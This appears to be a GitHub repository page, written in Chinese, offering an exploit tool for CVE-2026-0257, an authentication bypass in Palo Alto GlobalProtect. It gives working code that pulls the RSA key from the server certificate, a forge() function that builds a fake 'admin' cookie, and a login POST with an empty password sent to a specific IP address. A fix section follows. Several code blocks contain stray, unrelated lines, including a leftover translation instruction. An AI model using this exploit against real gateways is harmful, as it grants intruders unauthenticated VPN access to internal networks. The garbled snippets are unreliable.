tushargurav28/CVE-2026-0257
GitHub: tushargurav28/CVE-2026-0257
CVE-2026-0257漏洞利用工具
Stars: 2 | Forks: 0
# CVE-2026-0257:GlobalProtect 认证绕过
## 概述
此漏洞通过使用服务器公开可用的 TLS 证书伪造认证 cookie,实现了对 Palo Alto GlobalProtect 网关/门户的 **未认证 VPN 访问**。
## 核心漏洞(为什么它能工作)
GlobalProtect 使用一个 **预认证 cookie** (`portal-userauthcookie`) 允许客户端进行认证。这里有一个致命的缺陷:
```
Normal Flow:
1. Client authenticates (username + password)
2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
3. Client stores the encrypted cookie
4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it
The Bug:
The server ONLY checks if the cookie decrypts successfully with its private key.
It does NOT verify WHO encrypted it or if the plaintext content is legitimate.
```
**由于 RSA 公钥嵌入在服务器的 TLS 证书中(任何人连接都可以公开访问),任何攻击者都可以:**
1. 从 TLS 证书中获取公钥
2. 使用任何用户名伪造一个 cookie
3. 使用公钥加密它
4. 发送到服务器 → 服务器解密它 → 接受它为有效
这是一个 **教科书式的错误认证** 缺陷——在需要 **数字签名** 或 **HMAC** 的地方使用了加密。
## 漏洞利用链(5 步)
```
flowchart TD
A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
E --> F["Step 6: POST to /ssl-vpn/login.esp"]
F --> G{"Server Decrypts Cookie"}
G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
G -->|"Invalid"| I[" Rejected"]
```
## 第 1 步:构建原始 TLS ClientHello
### 传输格式
一个 TLS 记录看起来像这样:
```
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Length │ │
│ │ 0x16 │ 0x03 01 │ 2 bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Handshake Message │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Length │ Body │ │
│ │ 0x01 │ 3 bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
```
### 代码:[build_hello()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L75-L156)
ClientHello 主体包含:
| 字段 | 值 | 目的 |
|-------|-------|---------|
| 版本 | `0x03 0x03` (TLS 1.2) | 告诉服务器我们支持 TLS 1.2 |
| 随机数 | 4 字节时间戳 + 28 个随机字节 | 握手的 nonce |
| 会话 ID | `0x00` (空) | 无会话恢复 |
| 密码套件 | 9 个套件,包括 `TLS_RSA_WITH_AES_128_CBC_SHA` | **密钥**:我们包含仅 RSA 的密码套件,以强制服务器使用其 RSA 证书 |
| 压缩 | `0x00` (无) | 必需的 |
**包含的扩展:**
| 扩展 | ID | 目的 |
|-----------|----|---------|
| SNI (服务器名称指示) | `0x0000` | 告诉服务器我们连接到的主机名 |
| 签名算法 | `0x000D` | 我们支持的签名算法 |
| 支持的组 | `0x000A` | 我们支持的 EC 曲线(P-256,P-384,P-521) |
| EC 点格式 | `0x000B` | 未压缩的 EC 点 |
## 第 2 步:接收并解析服务器的响应
在发送 ClientHello 后,服务器会发送多个 TLS 记录:
```
Server Response:
┌─────────────────┐
│ ServerHello │ (handshake type 2)
├─────────────────┤
│ Certificate │ (handshake type 11) ← WE WANT THIS
├─────────────────┤
│ ServerKeyExchange│ (handshake type 12, optional)
├─────────────────┤
│ ServerHelloDone │ (handshake type 14) ← STOP SIGNAL
└─────────────────┘
```
### 代码:[parse_certs()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L161-L194)
**阶段 1 — 移除 TLS 记录头:**
每个 TLS 记录都有一个 5 字节的头:`[type(1)] [version(2)] [length(2)]`。代码遍历所有记录,对于任何 `type == 22`(握手)的记录,它将它们的有效负载连接起来:
```
while i + 5 <= len(data):
t = data[i] # content type
rl = (data[i + 3] << 8) | data[i + 4] # record length
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # grab payload
i += 5 + rl # next record
```
**阶段 2 — 找到证书消息(类型 11):**
在握手流中,每个消息都有一个 4 字节的头:`[type(1)] [length(3)]`。我们寻找 `type == 11`:
```
while j + 4 <= len(hs):
ht = hs[j] # handshake type
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-byte length
if ht == 11: # Certificate!
# Parse the certificate list inside
```
**阶段 3 — 提取单个 DER 证书:**
证书消息包含一个证书列表,每个证书都由一个 3 字节长度前缀:
```
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes) │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes) │
│ Cert 1 DER data (variable) │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes) │
│ Cert 2 DER data (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
```
在我们的测试运行中,我们得到了 **3 个证书**(叶证书,中间 CA,根 CA)。
### 代码:[has_done()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L197-L212)
此函数扫描 `ServerHelloDone`(握手类型 `14`),这告诉我们服务器已完成发送,我们可以停止读取。
## 第 3 步:解析 X.509 证书(ASN.1/DER)
X.509 证书以 **DER**(区分编码规则)编码,这是一种基于 **ASN.1**(抽象语法表示法一)的二进制格式。
### ASN.1 TLV(标签-长度-值)格式
DER 中的每个元素:
```
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
```
**长度编码:**
- 如果字节 < `0x80`:长度是那个字节直接(短形式)
- 如果字节 ≥ `0x80`:低 7 位 = 编码长度的后续字节数(长形式)
```
# 重要:保留所有专业术语、专有名词、工具/库/框架名称和技术术语的原英文形式。
# 运行 Naabu
```
### 代码:[rd_tl()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L217-L226)
```
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # long form?
nb = length & 0x7F # how many bytes follow
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = start of value
```
### X.509 证书结构
```
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (optional)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ WE WANT THIS ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (optional)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
```
### 代码:[get_rsa_key()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L229-L280)
该函数通过读取标签+长度并跳过我们不需要的字段来遍历 DER 树:
```
# Kubernetes 设置
r = rd_tl(der, 0) # → SEQUENCE
# API 参考
r = rd_tl(der, p) # → SEQUENCE
# 输入外部 SEQUENCE(证书)
r = rd_tl(der, p)
if r["tag"] == 0xA0: # version field present → skip it
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# 输入 tbsCertificate SEQUENCE
# 检查可选版本标签
# 跳过:serial → sigAlg → issuer → validity → subject
# (仅读取每个 TLV 并跳过)
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# 现在我们处于 subjectPublicKeyInfo
if oid != rsa_oid:
return None # Not RSA (probably ECDSA)
# 读取 AlgorithmIdentifier → 检查 OID 是否为 RSA
# ↑ 这是 1.2.840.113549.1.1.1 = rsaEncryption
```
**重要细节——模数中的前导零字节:**
```
if der[ms] == 0 and ml > 1:
ms += 1 # strip leading 0x00
ml -= 1
```
DER 将整数编码为有符号的。如果模数的高位是 1,则 prepending 一个 `0x00` 字节以保持其为正数。我们剥离它,因为我们需要原始的无符号值。
**对于我们的目标:** 模数 = 2048 位(256 字节),指数 = 65537 (`0x10001`)
## 第 4 步:伪造认证 cookie(PKCS#1 v1.5)
这是漏洞的核心。
### Cookie 包含的内容
明文 cookie 格式如下:
```
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── Client IP
│ │ └── Unix timestamp
│ └── OS identifier
└── Username (we choose "admin")
```
### PKCS#1 v1.5 加密填充(类型 2)
在 RSA 加密之前,明文必须填充到密钥大小(2048 位 RSA 的 256 字节):
```
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding │ 0x00 │ Plaintext message │
│ │ │ (≥ 8 bytes) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen bytes 1B message bytes
Total = 256 bytes (= key size)
```
### 代码:[forge()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L285-L296)
```
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 separator
if pad_len < 8: # PKCS#1 requires ≥ 8 pad bytes
return ""
em = bytearray([0x00, 0x02]) # Type 2 padding header
for _ in range(pad_len):
em.append(random.randint(1, 255)) # non-zero random bytes!
em.append(0x00) # separator
cat(em, pt) # append plaintext
# RSA encryption: ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
```
**RSA 数学:**
```
ciphertext = plaintext^e mod n
Where:
plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
e = 65537 (public exponent)
n = the 2048-bit modulus from the certificate
```
## 第 5 步:将伪造的 cookie 发送到登录端点
### 代码:[test_cookie()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L305-L343)
伪造的 cookie 以标准 HTTPS POST 发送到 GlobalProtect 登录端点:
```
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← empty! no password needed
&context=gateway ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=
&portal-prelogonuserauthcookie=
```
漏洞测试了两个端点:
1. **网关** (`context=gateway`): 直接 VPN 隧道访问
2. **门户** (`context=portal`): 门户配置访问
### 成功检测
```
def is_gateway_success(resp, user):
# Check for HTTP 200
# Check for Success in XML body
# OR tag containing the username
```
## 第 6 步:服务器端发生的事情
```
sequenceDiagram
participant A as Attacker
participant GP as GlobalProtect Server
A->>GP: TCP Connect (port 443)
A->>GP: Raw TLS ClientHello (hand-crafted)
GP->>A: ServerHello + Certificate (contains RSA public key)
GP->>A: ServerHelloDone
Note over A: Extracts RSA public key (n, e) from cert
Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (over TLS)
Note over GP: Receives portal-userauthcookie
Note over GP: Decrypts with RSA private key
Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ Trusts it blindly — no signature check!
GP->>A: HTTP 200 OK + Success
Note over A: 🎉 Full VPN access as "admin"
```
## 为什么这是一个毁灭性的漏洞
| 方面 | 影响 |
|--------|--------|
| **无需凭证** | 公钥实际上是 *公开的*——任何连接的人都可以得到它 |
| **无需暴力破解** | 每次尝试一个请求,在易受攻击的服务器上总是成功 |
| **预认证** | 可在登录之前利用——不需要现有会话 |
| **用户冒充** | 攻击者可以选择任何用户名(管理员,CEO 等) |
| **完整 VPN 访问** | 一旦认证,攻击者就在内部网络中 |
| **未记录密码失败** | 由于认证是通过 cookie 进行的,因此失败的密码警报不会触发 |
## 修复方案(Palo Alto 应该做什么)
基本问题是使用 **加密进行认证**。正确的做法:
1. **数字签名**:服务器应该使用其私钥 **签名** cookie,而不是解密加密的 cookie。然后在重新认证时验证签名。
2. **HMAC**:使用服务器端密钥对 cookie 有效负载进行 HMAC。只有服务器知道密钥,因此 cookie 不能被伪造。
3. **令牌绑定**:将 cookie 绑定到原始认证会话,以便它不能从不同的上下文中重放。
```
Broken: cookie = RSA_encrypt(userdata, public_key) ← anyone can do this!
Fixed: cookie = HMAC(server_secret, userdata) ← only server can do this
```
## 总结:完整数据流
```
1. TCP connect to target:443
2. Send hand-crafted ClientHello (raw bytes over TCP, NOT TLS)
3. Receive ServerHello + Certificate + ServerHelloDone
4. Parse TLS records → extract handshake messages
5. Find Certificate message (type 11) → extract DER-encoded certs
6. Walk ASN.1/DER structure of leaf cert:
SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
→ subjectPublicKeyInfo → algorithmIdentifier (check OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Build plaintext: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 pad: 0x00 0x02 [random≥8] 0x00 [plaintext]
9. RSA encrypt: ciphertext = padded^e mod n
10. Base64 encode → URL encode
11. POST to /ssl-vpn/login.esp with forged cookie (over proper TLS)
12. Server decrypts → trusts blindly → grants VPN access
```
标签:GitHub Advanced Security, GlobalProtect, Palo Alto Networks, RSA加密, TLS漏洞, VPN攻击, VPN连接, 加密算法, 威胁模拟, 安全事件响应, 安全加固, 安全测试, 安全漏洞, 安全漏洞管理, 安全防护, 底层编程, 攻击性安全, 攻击步骤, 攻击链, 数字证书, 漏洞编号CVE-2026-0257, 网络安全, 网络安全审计, 网络访问控制, 认证机制, 认证绕过, 逆向工具, 隐私保护